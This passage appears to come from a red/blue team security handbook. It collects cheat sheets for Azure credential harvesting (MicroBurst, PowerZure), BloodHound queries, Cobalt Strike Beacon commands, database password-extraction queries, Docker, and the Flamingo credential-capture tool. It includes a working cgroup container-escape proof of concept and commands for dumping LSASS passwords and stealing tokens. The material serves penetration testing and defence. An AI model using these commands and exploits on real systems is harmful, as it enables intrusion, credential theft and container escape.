PS> Select-String -Path <\path\to\ConsoleHost_history.txt> -
Pattern 'Save-AzContext'
Azure Token "CachedData:" Key Inside "TokenCache:" .JSON File
#Base64 Encoded Data; Decode it to recreate TokenCache.dat file
Import Decoded TokenCache.dat Into Attacker Local PowerShell
#Once imported attacker will not be prompted for user/password
PS> Import-AzContext -Path C:\path\to\decoded_TokenCache.dat
MICROBURST
SCENARIO: You’ve been able to obtain credentials for a privileged
user for Azure AD (Owner or Contributor). You can now target this
user by possibly harvesting credentials stored in either Key
Vaults, App Services Configurations, Automation Accounts, and
Storage Accounts.
STEP 1: Install PowerShell modules and download/Import Microburst
by NetSPI:
Install-Module -Name AzureRM
Install-Module -Name Azure
https://github.com/NetSPI/MicroBurst
Import-Module .\Get-AzurePasswords.ps1
STEP 2: Now that the PowerShell module is imported we can execute
it to retrieve all available credentials at once from Key Vaults,
App Services Configurations, Automation Accounts, and Storage
Accounts. You will be prompted for the user account, credentials,
and subscription you’d like to use. We can pipe the output to a CSV
file:
Get-AzurePasswords -Verbose | Export-CSV
POWERZURE
PowerZure is a PowerShell script written to assist in assessing
Azure security. Functions are broken out into their context as well
as the role needed to run them.
FUNCTION
DESCRIPTION
ROLE
HELP
PowerZure -h
Displays the help menu
Any
MANDATORY
Set-Subscription
Sets the default
Subscription to operate
in
Reader
OPERATIONAL
Create-Backdoor
Creates a Runbook that
creates an Azure account
Admin
46
and generates a Webhook
to that Runbook
Execute-Backdoor
Executes the backdoor
that is created with
"Create-Backdoor". Needs
the URI generated from
Create-Backdoor
Admin
Execute-Command
Executes a command on a
specified VM
Contributor
Execute-MSBuild
Executes MSBuild payload
on a specified VM. By
default, Azure VMs
have .NET 4.0 installed.
Will run as SYSTEM.
Contributor
Execute-Program
Executes a supplied
program.
Contributor
Upload-StorageContent
Uploads a supplied file
to a storage share.
Contributor
Stop-VM
Stops a VM
Contributor
Start-VM
Starts a VM
Contributor
Restart-VM
Restarts a VM
Contributor
Start-Runbook
Starts a specific Runbook
Contributor
Set-Role
Sets a role for a
specific user on a
specific resource or
subscription
Owner
Remove-Role
Removes a user from a
role on a specific
resource or subscription
Owner
Set-Group
Adds a user to a group
Admin
INFO GATHER
Get-CurrentUser
Returns the current
logged in user name,
their role + groups, and
any owned objects
Reader
Get-AllUsers
Lists all users in the
subscription
Reader
Get-User
Gathers info on a
specific user
Reader
Get-AllGroups
Lists all groups + info
within Azure AD
Reader
Get-Resources
Lists all resources in
the subscription
Reader
Get-Apps
Lists all applications in
the subscription
Reader
Get-GroupMembers
Gets all the members of a
specific group. Group
does NOT mean role.
Reader
47
Get-AllGroupMembers
Gathers all the group
members of all the
groups.
Reader
Get-AllRoleMembers
Gets all the members of
all roles. Roles does not
mean groups.
Reader
Get-Roles
Lists the roles in the
subscription
Reader
Get-RoleMembers
Gets the members of a
role
Reader
Get-Sps
Returns all service
principals
Reader
Get-Sp
Returns all info on a
specified service
principal
Reader
Get-Apps
Gets all applications and
their Ids
Reader
Get-AppPermissions
Returns the permissions
of an app
Reader
Get-WebApps
Gets running web apps
Reader
Get-WebAppDetails
Gets running webapps
details
Reader
SECRET GATHER
Get-KeyVaults
Lists the Key Vaults
Reader
Get-KeyVaultContents
Get the secrets from a
specific Key Vault
Contributor
Get-AllKeyVaultContents
Gets ALL the secrets from
all Key Vaults.
Contributor
Get-AppSecrets
Returns the application
passwords or certificate
credentials
Contributor
Get-AllAppSecrets
Returns all application
passwords or certificate
credentials (If
accessible)
Contributor
Get-AllSecrets
Gets ALL the secrets from
all Key Vaults and
applications.
Contributor
Get-
AutomationCredentials
Gets the credentials from
any Automation Accounts
Contributor
DATA EXFIL
Get-StorageAccounts
Gets all storage accounts
Reader
Get-StorageAccountKeys
Gets the account keys for
a storage account
Contributor
Get-StorageContents
Gets the contents of a
storage container or file
share
Reader
Get-Runbooks
Lists all the Runbooks
Reader
48
Get-RunbookContent
Reads content of a
specific Runbook
Reader
Get-AvailableVMDisks
Lists the VM disks
available.
Reader
Get-VMDisk
Generates a link to
download a Virtual
Machine's disk. The link
is only available for an
hour.
Contributor
Get-VMs
Lists available VMs
Reader
REFERENCE:
https://github.com/hausec/PowerZure
https://blog.netspi.com/attacking-azure-with-custom-script-extensions/
https://github.com/puresec/awesome-serverless-security/#azure-functions-
security
https://posts.specterops.io/attacking-azure-azure-ad-and-introducing-
powerzure-ca70b330511a
https://github.com/mattrotlevi/lava
https://blog.netspi.com/get-azurepasswords/
https://www.lares.com/hunting-azure-admins-for-vertical-escalation
A
A
AZURE_Hardening
BLUE TEAM
CONFIGURATION
CLOUD
Best Practice Rules for Azure
https://www.cloudconformity.com/knowledge-base/azure/
A
A
AZURE_Terms
RED/BLUE TEAM
RECON/ADMIN
CLOUD
Azure Terms Cheat Sheets
https://docs.microsoft.com/en-us/azure/azure-glossary-cloud-
terminology
https://www.whizlabs.com/blog/microsoft-azure-cheat-sheet/
A
A
AZURE_Tricks
RED/BLUE TEAM
RECON/ADMIN
CLOUD
49
Azure Tips & Tricks Blog
https://microsoft.github.io/AzureTipsAndTricks/
https://github.com/deltadan/az-cli-kung-fu
B
B
B
BLOODHOUND
RED/BLUE TEAM
RECON
WINDOWS
BloodHound uses graph theory to reveal the hidden and often
unintended relationships within an Active Directory environment.
Attackers can use BloodHound to easily identify highly complex
attack paths that would otherwise be impossible to quickly
identify. Defenders can use BloodHound to identify and eliminate
those same attack paths.
BLOODHOUND CYPHER QUERIES
List all owned users
MATCH (m:User) WHERE m.owned=TRUE RETURN m
List all owned computers
MATCH (m:Computer) WHERE m.owned=TRUE RETURN m
List all owned groups
MATCH (m:Group) WHERE m.owned=TRUE RETURN m
List all High Valued Targets
MATCH (m) WHERE m.highvalue=TRUE RETURN m
List the groups of all owned users
50
MATCH (m:User) WHERE m.owned=TRUE WITH m MATCH p=(m)-
[:MemberOf*1..]->(n:Group) RETURN p
Find all Kerberoastable Users
MATCH (n:User)WHERE n.hasspn=true RETURN n
Find All Users with an SPN/Find all Kerberoastable Users with
passwords last set less than 5 years ago
MATCH (u:User) WHERE u.hasspn=true AND u.pwdlastset <
(datetime().epochseconds - (1825 * 86400)) AND NOT u.pwdlastset IN
[-1.0, 0.0] RETURN u.name, u.pwdlastset order by u.pwdlastset
Find Kerberoastable Users with a path to DA
MATCH (u:User {hasspn:true}) MATCH (g:Group) WHERE g.objectid ENDS
WITH '-512' MATCH p = shortestPath( (u)-[*1..]->(g) ) RETURN p
Find machines Domain Users can RDP into
match p=(g:Group)-[:CanRDP]->(c:Computer) where g.objectid ENDS
WITH '-513' return p
Find what groups can RDP
MATCH p=(m:Group)-[r:CanRDP]->(n:Computer) RETURN p
Find groups that can reset passwords (Warning: Heavy)
MATCH p=(m:Group)-[r:ForceChangePassword]->(n:User) RETURN p
Find groups that have local admin rights (Warning: Heavy)
MATCH p=(m:Group)-[r:AdminTo]->(n:Computer) RETURN p
Find all users that have local admin rights
MATCH p=(m:User)-[r:AdminTo]->(n:Computer) RETURN p
Find all active Domain Admin sessions
MATCH (n:User)-[:MemberOf]->(g:Group) WHERE g.objectid ENDS WITH '-
512' MATCH p = (c:Computer)-[:HasSession]->(n) return p
Find all computers with Unconstrained Delegation
MATCH (c:Computer {unconstraineddelegation:true}) return c
Find all computers with unsupported operating systems
MATCH (H:Computer) WHERE H.operatingsystem =~
'.*(2000|2003|2008|xp|vista|7|me)*.' RETURN H
Find users that logged in within the last 90 days
MATCH (u:User) WHERE u.lastlogon < (datetime().epochseconds - (90 *
86400)) and NOT u.lastlogon IN [-1.0, 0.0] RETURN u
Find users with passwords last set within the last 90 days
MATCH (u:User) WHERE u.pwdlastset < (datetime().epochseconds - (90
* 86400)) and NOT u.pwdlastset IN [-1.0, 0.0] RETURN u
Find constrained delegation
MATCH p=(u:User)-[:AllowedToDelegate]->(c:Computer) RETURN p
Find computers that allow unconstrained delegation that AREN’T
domain controllers.
MATCH (c1:Computer)-[:MemberOf*1..]->(g:Group) WHERE g.objectid
ENDS WITH '-516' WITH COLLECT(c1.name) AS domainControllers MATCH
(c2:Computer {unconstraineddelegation:true}) WHERE NOT c2.name IN
domainControllers RETURN c2
51
Return the name of every computer in the database where at least
one SPN for the computer contains the string 'MSSQL'
MATCH (c:Computer) WHERE ANY (x IN c.serviceprincipalnames WHERE
toUpper(x) CONTAINS 'MSSQL') RETURN c
View all GPOs
Match (n:GPO) RETURN n
View all groups that contain the word 'admin'
Match (n:Group) WHERE n.name CONTAINS 'ADMIN' RETURN n
Find users that can be AS-REP roasted
MATCH (u:User {dontreqpreauth: true}) RETURN u
Find All Users with an SPN/Find all Kerberoastable Users with
passwords last set > 5 years ago
MATCH (u:User) WHERE n.hasspn=true AND WHERE u.pwdlastset <
(datetime().epochseconds - (1825 * 86400)) and NOT u.pwdlastset IN
[-1.0, 0.0] RETURN u
Show all high value target's groups
MATCH p=(n:User)-[r:MemberOf*1..]->(m:Group {highvalue:true})
RETURN p
Find groups that contain both users and computers
MATCH (c:Computer)-[r:MemberOf*1..]->(groupsWithComps:Group) WITH
groupsWithComps MATCH (u:User)-[r:MemberOf*1..]->(groupsWithComps)
RETURN DISTINCT(groupsWithComps) as groupsWithCompsAndUsers
Find Kerberoastable users who are members of high value groups
MATCH (u:User)-[r:MemberOf*1..]->(g:Group) WHERE g.highvalue=true
AND u.hasspn=true RETURN u
Find Kerberoastable users and where they are AdminTo
OPTIONAL MATCH (u1:User) WHERE u1.hasspn=true OPTIONAL MATCH (u1)-
[r:AdminTo]->(c:Computer) RETURN u
Find computers with constrained delegation permissions and the
corresponding targets where they allowed to delegate
MATCH (c:Computer) WHERE c.allowedtodelegate IS NOT NULL RETURN c
Find if any domain user has interesting permissions against a GPO
(Warning: Heavy)
MATCH p=(u:User)-
[r:AllExtendedRights|GenericAll|GenericWrite|Owns|WriteDacl|WriteOw
ner|GpLink*1..]->(g:GPO) RETURN p
Find if unprivileged users have rights to add members into groups
MATCH (n:User {admincount:False}) MATCH p=allShortestPaths((n)-
[r:AddMember*1..]->(m:Group)) RETURN p
Find all users a part of the VPN group
Match p=(u:User)-[:MemberOf]->(g:Group) WHERE toUPPER (g.name)
CONTAINS 'VPN' return p
Find users that have never logged on and account is still active
MATCH (n:User) WHERE n.lastlogontimestamp=-1.0 AND n.enabled=TRUE
RETURN n
52
Find an object in one domain that can do something to a foreign
object
MATCH p=(n)-[r]->(m) WHERE NOT n.domain = m.domain RETURN p
Find all sessions a user in a specific domain has
MATCH p=(m:Computer)-[r:HasSession]->(n:User {domain:{result}})
RETURN p
REFERENCE:
https://github.com/BloodHoundAD/BloodHound
https://github.com/BloodHoundAD/Bloodhound/wiki
https://posts.specterops.io/introducing-bloodhound-3-0-c00e77ff0aa6
https://github.com/chryzsh/awesome-bloodhound
https://github.com/SadProcessor/HandsOnBloodHound
https://github.com/hausec/Bloodhound-Custom-Queries
C
C
C
COBALT STRIKE
RED TEAM
C2
WINDOWS
Cobalt Strike is software for Adversary Simulations and Red Team
Operations.
COMMAND
DESCRIPTION
BASIC
cancel [*file*]
Cancel a download currently
in progress, wildcards
accepted.
cd [directory]
Change into the specified
working directory.
clear
Clear all current taskings.
53
cp [src] [dest]
File copy
download [C:\filePath]
Download a file from the path
on the Beacon host.
downloads
Lists downloads in progress
execute-assembly
un a local .NET executable as
a Beacon post-exploitation
job as your current token
exit
Task the Beacon to exit.
help <cmd>
Display all available
commands or the help for a
specified command
inject [pid] <x86|x64>
Inject a new Beacon into the
specified process
jobkill [job ID]
Kill the specified job ID.
jobs
List the running jobs.
keylogger [pid] <x86|x64>
injects a keystroke logger
into the given process ID and
architecture
link/unlink [IP address]
Link/unlink to/from a remote
Beacon.
ls <C:\Path>
List the files on the
specified path or the current
folder.
net
[session/share/localgroup/etc]
Beacon net commands
implemented that don’t rely
on net.exe
ps
Show a process listing
pwd
Display the current working
directory for the Beacon
session.
reg_query [x86|x64]
[HIVE\path\to\key]
query a specific key in the
registry
reg_query [x86|x64]
[HIVE\path\to\key] [value]
uery a specific value within
a registry key
rm [file\folder]
Delete a file\folder.
screenshot [pid] <x86|x64>
[runtime in seconds]
injects a screen capture stub
into the specified
process/architecture for the
specified number of seconds.
setenv
set an environment variable
shell [cmd] [arguments]
Execute a shell command using
cmd.exe
sleep [seconds] <jitter/0-99>
Set the Beacon to sleep for
the number of seconds and the
associated 0-99% jitter. 0
means interactive.
upload [/path/to/file]
Upload a file from the
attacker machine to the
54
current Beacon working
directory
SPOOFING
argue [command] [fake arguments]
add a command to the fake
arugments internal list
ppid <ID>
set the parent process ID
spawnto <x86/x64>
<C:\process\to\spawn.exe>
set the child process spawned
MIMIKATZ
mimikatz [module::command] <args>
format to execute a
Mimikatz !module:: elevate to
SYSTEM; @module:: force usage
of current token.
logonpasswords
will execute the
sekurlsa::logonpasswords
module which extracts hashes
and plaintext passwords out
of LSASS
dcsync [DOMAIN.fqdn]
[DOMAIN\user]
will use lsadump::dcync to
extract the hash for the
specified user from a domain
controller
pth [DOMAIN\user] [NTLM hash]
will use sekurlsa::pth to
inject a user’s hash into
LSASS;requires local admin
privileges.
DESKTOP VNC
desktop <pid> <x86|x64>
<low|high>
stage a VNC server into the
memory of the current process
and tunnel the connection
through Beacon
POWERSHELL
powershell-import
[/path/to/script.ps1]
import a PowerShell .ps1
script from the control
server and save it in memory
in Beacon
powershell [commandlet]
[arguments]
setup a local TCP server
bound to localhost and
download the script; function
and any arguments are
executed and output is
returned.
powerpick [commandlet]
[arguments]
launch the given function
using @tifkin_’s Unmanaged
PowerShell, which doesn’t
start powershell.exe
psinject [pid] [arch]
[commandlet] [arguments]
inject Unmanaged PowerShell
into a specific process and
execute the specified command
55
SESSION PASSING
dllinject [pid]
inject a Reflective DLL into
a process.
inject [pid] <x86|x64>
Inject a new Beacon into the
specified process
shinject [pid] <x86|x64>
[/path/to/file.bin]
inject shellcode, from a
local file,into a process on
target
spawn [x86|x64] [listener]
Spawn a new Beacon process to
the given listener.
spawnas [DOMAIN\user] [password]
[listener]
Spawn a new Beacon to the
specified listener as another
user.
dllload [pid]
[c:\path\to\file.dll]
load an on-disk DLL in
another process.
PRVILEGE ESCALATION
elevate
list privilege escalation
exploits registered with
Cobalt Strike.
elevate [exploit] [listener]
attempt to elevate with a
specific exploit.
runasadmin
ist command elevator exploits
registered with Cobalt
Strike.
runasadmin [exploit] [command +
args]
attempt to run the specified
command in an elevated
context
runas[DOMAIN\user] [password]
[command]
run a command as another user
using their credentials.
spawnas [DOMAIN\user] [password]
[listener]
spawn a session as another
user using their credentials.
getsystem
impersonate a token for the
SYSTEM account.
elevate svc-exe [listener]
Get SYSTEM is to create a
service that runs a payload.
getprivs
enable the privileges
assigned to your current
access token.
RECON
portscan [targets] [ports]
start the port scanner job
portscan [targets] arp
Uses an ARPrequestto discover
if a host isalive
portscan [targets] icmp
sends an ICMP echo request to
check if a target is alive.
net dclist
find the domain controller
for the domain the target is
joined to
net view
find targets on the domain
the target is joined to
56
net computers
findstargets by querying
computer account groups on a
Domain Controller.
net localgroup \\TARGET
list the groups on another
system.
net localgroup \\TARGET group
name
list the members of a group
on another system
TOKENS
steal_token [process id]
impersonate a token from an
existing process
make_token [DOMAIN\user]
[password]
generate a token that passes
these credentials
getuid
print your current token.
rev2self
revert back to your original
token.
TICKETS
kerberos_ticket_use
[/path/to/ticket.kirbi]
inject a Kerberos ticket into
the current session.
kerberos_ticket_purge
clear any kerberos
ticketsassociated with your
session.
LATERAL MOVEMENT
jump
list lateral movement options
registered with Cobalt
Strike.
jump [module] [target] [listener]
attempt to run a payload on a
remote target.
jump psexec [target] [listener]
Use a service to run a
Service EXE artifact
jump psexec64 [target] [listener]
Use a service to run a
Service EXE artifact
jump psexec_psh [target]
[listener]
Use a service to run a
PowerShell one-liner
jump winrm [target] [listener]
Run a PowerShell script via
WinRM
jump winrm64 [target] [listener]
Run a PowerShell script via
WinRM
remote-exec
list remote execution modules
registered with Cobalt
Strike.
remote-exec [module] [target]
[command + args]
attempt to run the specified
command on a remote target.
remote-exec psexec [target]
[command + args]
Remote execute via Service
Control Manager
remote-exec winrm [target]
[command + args]
Remote execute via WinRM
(PowerShell)
remote-exec wmi [target] [command
+ args]
Remote execute via WMI
(PowerShell)
PIVOTING
57
socks [PORT]
start a SOCKS server on the
given port on your
teamserver, tunneling traffic
through the specified Beacon.
socks stop
disable the SOCKS proxy
server.
browserpivot [pid] <x86|x64>
proxy browser traffic through
a specified Internet Explorer
process.
rportfwd [bind port] [forward
host] [forward port]
bind to the specified port on
the Beacon host, and forward
any incoming connections to
the forwarded host and port.
rportfwd stop [bind port]
disable the reverse port
forward.
SSH SESSIONS
ssh [target] [user] [password]
Launch an SSH session from a
Beacon on Unix targets
ssh-key [target] [user]
[/path/to/key.pem]
Launch an SSH session from a
Beacon on Unix targets
shell [cmd + arguments]
run the command and arguments
you provide.
sudo [password] [cmd + arguments]
attempt to run a command via
sudo.
INTEGRATIONS/ENHANCEMENTS
The Elevate Kit
An Aggressor Script that integrates several open source privilege
escalation exploits into Cobalt Strike.
https://github.com/rsmudge/ElevateKit
REFERENCE:
https://www.cobaltstrike.com/downloads/csmanual40.pdf
https://github.com/HarmJ0y/CheatSheets/blob/master/Beacon.pdf
https://github.com/threatexpress/cs2modrewrite
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology
%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet.md
C
C
CYBER CHEF
BLUE TEAM
FORENSICS
ALL
CyberChef is a simple, intuitive web app for analyzing and decoding
data without having to deal with complex tools or programming
languages.
58
Example Scenarios:
o
Decode a Base64-encoded string
o
Convert a date and time to a different time zone
o
Parse a IPv6 address
o
Convert data from a hexdump, then decompress
o
Decrypt and disassemble shellcode
o
Display multiple timestamps as full dates
o
Carry out different operations on data of different types
o
Use parts of the input as arguments to operations
o
Perform AES decryption, extracting the IV from the
beginning of the cipher stream
o
Automatically detect several layers of nested encoding
DESCRIPTION
(Win/Linux)
(Mac)
Place cursor in
search field
Ctrl+Alt+f
Ctrl+Opt+f
Place cursor in input
box
Ctrl+Alt+i
Ctrl+Opt+i
Place cursor in
output box
Ctrl+Alt+o
Ctrl+Opt+o
Place cursor in first
argument field of the
next operation in the
recipe
Ctrl+Alt+.
Ctrl+Opt+.
Place cursor in first
argument field of the
nth operation in the
recipe
Ctrl+Alt+[1-9]
Ctrl+Opt+[1-9]
Disable current
operation
Ctrl+Alt+d
Ctrl+Opt+d
Set/clear breakpoint
Ctrl+Alt+b
Ctrl+Opt+b
Bake
Ctrl+Alt+Space
Ctrl+Opt+Space
Step
Ctrl+Alt+'
Ctrl+Opt+'
Clear recipe
Ctrl+Alt+c
Ctrl+Opt+c
Save to file
Ctrl+Alt+s
Ctrl+Opt+s
Load recipe
Ctrl+Alt+l
Ctrl+Opt+l
Move output to input
Ctrl+Alt+m
Ctrl+Opt+m
Create a new tab
Ctrl+Alt+t
Ctrl+Opt+t
Close the current tab
Ctrl+Alt+w
Ctrl+Opt+w
Go to next tab
Ctrl+Alt+RightAr
row
Ctrl+Opt+RightAr
row
Go to previous tab
Ctrl+Alt+LeftArr
ow
Ctrl+Opt+LeftArr
ow
REFERENCE:
59
https://gchq.github.io/CyberChef/
D
D
D
DATABASES
RED/BLUE TEAM
ADMINISTRATION
WINDOWS/LINUX
MSSQL
MySQL
DESCRIPTION
Version
SELECT @@version;
SELECT @@version;
Current DB
Name
SELECT DB_NAME();
SELECT database();
List users
SELECT name FROM
master..syslogins;
SELECT user FROM
mysql.user;
List DB's
SELECT name FROM
master..sysdatabases;
SELECT distinct(db) FROM
mysql.db;
List
Columns
SELECT table_catalog,
column_name FROM
information_schema.colum
ns;
SHOW columns FROM
mytable FROM mydb;
List Tables
SELECT table_catalog,
table_name FROM
information_schema.colum
ns;
SHOW tables FROM mydb;
Extract
Passwords
SELECT
SL.name,SL.password_hash
SELECT User,Password
FROM mysql.user INTO
OUTFILE ‘/tmp/hash.txt';
60
FROM sys.sql_logins AS
SL;
ORACLE
POSTGRES
Version
SELECT user FROM dual
UNION SELECT * FROM
v$version
SELECT version();
Current DB
Name
SELECT global_name FROM
global_name;
SELECT
current_database();
List users
SELECT username FROM
all_users ORDER BY
username;
SELECT username FROM
pg_user;
List DB's
SELECT DISTINCT owner
FROM all_tables;
SELECT datname FROM
pg_database;
List
Columns
SELECT column_name FROM
all_tab_columns WHERE
table_name = 'mydb';
SELECT column_name FROM
information_schema.colum
ns WHERE
table_name='data_table';
List Tables
SELECT table_name FROM
all_tables;
SELECT table_name FROM
information_schema.table
s;
Extract
Passwords
SELECT name, password,
spare4 FROM
sys.user$ WHERE
name='<username>';
SELECT username, passwd
FROM pg_shadow;
REFERENCE:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injec
tion
https://hakin9.org/sql-commands-cheat-sheet-by-cheatography/
https://portswigger.net/web-security/sql-injection/cheat-sheet
D
D
DEFAULT PASSWORDS
RED TEAM
ESCALATE PRIVS
ALL
REFER TO REFERENCES BELOW
REFERENCE
http://www.critifence.com/default-password-database/
https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-
Credentials/default-passwords.csv
https://www.fortypoundhead.com/tools_dpw.asp
https://default-password.info/
D
D
61
DOCKER
RED/BLUE TEAM
DEVOPS
WINDOWS/LINUX/MacOS
COMMAND
DESCRIPTION
CONTAINER BASICS
docker run -p 4000:80 imgname
Start docker container
docker run -d -p 4000:80 imgname
Start docker container
in detached mode
docker run -t -d --entrypoint=/bin/sh
"$docker_image"
Start container with
entrypoint changed
docker exec -it <container-id> sh
Enter a running
container
docker cp /tmp/foo.txt
mycontainer:/foo.txt
Upload local file to
container filesystem
docker cp mycontainer:/foo.txt
/tmp/foo.txt
Download container
file local filesystem
docker stop <hash>
Stop container
docker rm <hash>
Remove container
docker rm $(docker ps -a -q)
Remove all containers
docker kill <hash>
Force shutdown of one
given container
docker login
Login to docker hub
docker tag <image> username/repo:tag
Tag <image>
docker push username/repo:tag
Docker push a tagged
image to repo
docker run username/repo:tag
Run image from a given
tag
docker build -t denny/image:test .
Create docker image
DOCKER CLEANUP
delete-all-containers.sh
Delete all containers
delete-unused-images.sh
Remove unused docker
images
docker image prune -f
Docker prune images
docker volume prune -f
Docker prune volumes
docker rmi <imagename>
Remove the specified
image
docker rmi $(docker images -q)
Remove all docker
images
docker volume rm $(docker volume ls -qf
dangling=true)
Remove orphaned docker
volumes
docker rm $(docker ps --filter
status=dead -qa)
Remove dead containers
docker rm $(docker ps --filter
status=exited -qa)
Remove exited
containers
DOCKERFILE
entrypoint: ["tail", "-f", "/dev/null"]
Change entrypoint to
run nothing
62
RUN ln -snf /usr/share/zoneinfo/$TZ
/etc/localtime && echo $TZ >
/etc/timezone
Set timezone in
Dockerfile
GitHub: Dockerfile-example-multiline
Define multiple line
command
DOCKER COMPOSE
restart: always, Link: Compose file
version 3 reference
Change restart policy
$PWD/httpd/httpd.conf:/usr/local/apache2
/conf/httpd.conf:ro GitHub: sample-
mount-file.yml
Mount file as volume
docker-compose up, docker-compose up -d
Start compose env
docker-compose down, docker-compose down
-v
Stop compose env
docker-compose logs
Check logs
DOCKER CONTAINERS
docker run -p 4000:80 imgname
Start docker container
docker run -d -p 4000:80 imgname
Start docker container
in detached mode
docker run -rm -it imgname sh
Start docker container
and remove when exit
docker exec -it [container-id] sh
Enter a running
container
docker stop <hash>
Stop container
docker ps, docker ps -a
List all containers
docker rm <hash>, docker rm $(docker ps
-a -q)
Remove container
docker kill <hash>
Force shutdown of one
given container
docker login
Login to docker hub
docker run username/repo:tag
Run image from a given
tag
docker logs --tail 5 $container_name
Tail container logs
docker inspect --format
'{{.State.Health}}' $container_name
Check container
healthcheck status
docker ps --filter "label=org.label-
schema.group"
List containers by
labels
DOCKER IMAGES
docker images, docker images -a
List all images
docker build -t denny/image:<tag> .
Create docker image
docker push denny/image:<tag>
Docker push a tagged
image to repo
docker history <image_name>
Show the history of an
image
docker save <image_name> > my_img.tar
Export image to file
docker load -i my_img.tar
Load image to local
registry
docker tag <image> username/repo:tag
Tag <image>
63
DOCKER SOCKETFILE
docker run -v
/var/run/docker.sock:/var/run/docker.soc
k -it alpine sh
Run container mounting
socket file
export
DOCKER_HOST=unix:///my/docker.sock
A different docker
socket file
curl -XGET --unix-socket
/var/run/docker.sock
http://localhost/containers/json
List containers
curl -XPOST --unix-socket
/var/run/docker.sock
http://localhost/containers/<container_i
d>/stop
Stop container
curl -XPOST --unix-socket
/var/run/docker.sock
http://localhost/containers/<container_i
d>/start
Start container
curl --unix-socket /var/run/docker.sock
http://localhost/events
List events
curl -XPOST --unix-socket
/var/run/docker.sock -d
'{"Image":"nginx:alpine"}' -H 'Content-
Type: application/json'
http://localhost/containers/create
Create container
DOCKER CONF
/var/lib/docker,
/var/lib/docker/devicemapper/mnt
Docker files
~/Library/Containers/com.docker.docker/D
ata/
Docker for Mac
DOCKER STATUS
docker logs --tail 5 $container_name
Tail container logs
docker inspect --format
'{{.State.Health}}' $container_name
Check container
healthcheck status
docker ps
List containers
docker ps -a
List all containers
docker ps --filter "label=org.label-
schema.group"
List containers by
labels
docker images -a
List all images
REFERENCE:
https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE/blob/master/8-part-
100-article/62_article/Docker%20for%20Pentesters.pdf
https://github.com/wsargent/docker-cheat-sheet
https://github.com/Cugu/awesome-forensics
https://cheatsheet.dennyzhang.com/cheatsheet-docker-a4
D
D
DOCKER_Exploit
64
RED TEAM
EXPLOITATION
WINDOWS/LINUX
Docker Secrets Locations
If you gain access to a Docker container you can check the
following location for possible plaintext or encoded Docker
passwords, api_tokens, etc. that the container is using for
external services.
You may be able to see Docker secret locations or names by issuing:
$ docker secret ls
Depending on the OS your target Docker container is running you can
check the following locations for secret file locations or mounts.
Linux Docker Secrets Locations:
/run/secrets/<secret_name>
Windows Docker Secrets Locations:
C:\ProgramData\Docker\internal\secrets
C:\ProgramData\Docker\secrets
Container Escape Abuse Linux cgroup v1:
# version of the PoC that launches ps on the host
# spawn a new container to exploit via
# docker run --rm -it --privileged ubuntu bash
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;printf '#!/bin/sh\nps
>'"$t/o" >/c;
chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
Exploit Refined will execute a ps aux command on the host and save
its output to the /output file in the container:
# On the host
docker run --rm -it --cap-add=SYS_ADMIN --security-opt
apparmor=unconfined ubuntu bash
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp &&
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
65
REFERENCE:
https://blog.trailofbits.com/2019/07/19/understanding-docker-container-
escapes/
F
F
F
FLAMINGO
RED TEAM
ESCALATE PRIV
WINDOWS/LINUX
Flamingo captures credentials sprayed across the network by various
IT and security products. Currently supports SSH, HTTP, LDAP, DNS,
FTP, and SNMP credential collection.
Flamingo binary from the releases page or build from source.
$ GOOS=win32 GOARCH=amd64 go build -o flamingo.exe
$ go get -u -v github.com/atredispartners/flamingo && \
go install -v github.com/atredispartners/flamingo && \
$GOPATH/bin/flamingo
Run the binary and collect credentials
C:\> flamingo.exe
{"_etime":"2020-01-
10T17:56:51Z","_host":"1.2.3.4:18301","_proto":"ssh","method":"pubk
ey","pubkey":"ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAIPVSxqrWfNle0nnJrKS3NA12uhu9PHxnP4OlD843tRz
66
/","pubkey-
sha256":"SHA256:/7UkXjk0XtBe9N6RrAGGgJTGuKKi1Hgk3E+4TPo54Cw","usern
ame":"devuser","version":"SSH-2.0-OpenSSH_for_Windows_7.7"}
{"_etime":"2020-01-
10T17:56:52Z","_host":"1.2.3.4:1361","_proto":"ssh","method":"passw
ord","password":"SuperS3kr3t^!","username":"root","version":"SSH-
2.0-OpenSSH_for_Windows_7.7"}
{"_etime":"2020-01-
10T17:56:53Z","_host":"1.2.3.4:9992","_proto":"ssh","method":"passw
ord","password":"DefaultPotato","username":"vulnscan-
a","version":"SSH-2.0-OpenSSH_for_Windows_7.7"}
**Default log credentials to standard output & append to
flamingo.log in working directory.
Options
--protocols to configure a list of enabled protocol listeners
Use additional options to specify ports and protocol options for
listeners.
All additional command-line arguments are output destinations.
Outputs
Flamingo can write recorded credentials to a variety of output
formats. By default, flamingo will log to flamingo.log and standard
output.
Standard Output
Specifying - or stdout will result in flamingo only logging to
standard output.
File Destinations
Specifying one or more file paths will result in flamingo appending
to these files.
HTTP Destinations
Specifying HTTP or HTTPS URLs will result in flamingo sending a
webhook POST request to each endpoint. By default, this format
supports platforms like Slack and Mattermost that support inbound
webhooks.
The actual HTTP POST looks like:
POST /specified-url
Content-Type: application/json
User-Agent: flamingo/v0.0.0
{"text": "full-json-output of credential report"}
Syslog Destinations
67
Specifying syslog or syslog:<parameters> will result in flamingo
sending credentials to a syslog server.
The following formats are supported:
•
syslog - send to the default syslog output, typically a
unix socket
•
syslog:unix:/dev/log - send to a specific unix stream
socket
•
syslog:host - send to the specified host using udp and port
514
•
syslog:host:port - send to the specified host using udp and
the specified port
•
syslog:udp:host - send to the specified host using udp and
port 514
•
syslog:udp:host:port - send to the specified host using udp
and the specified port
•
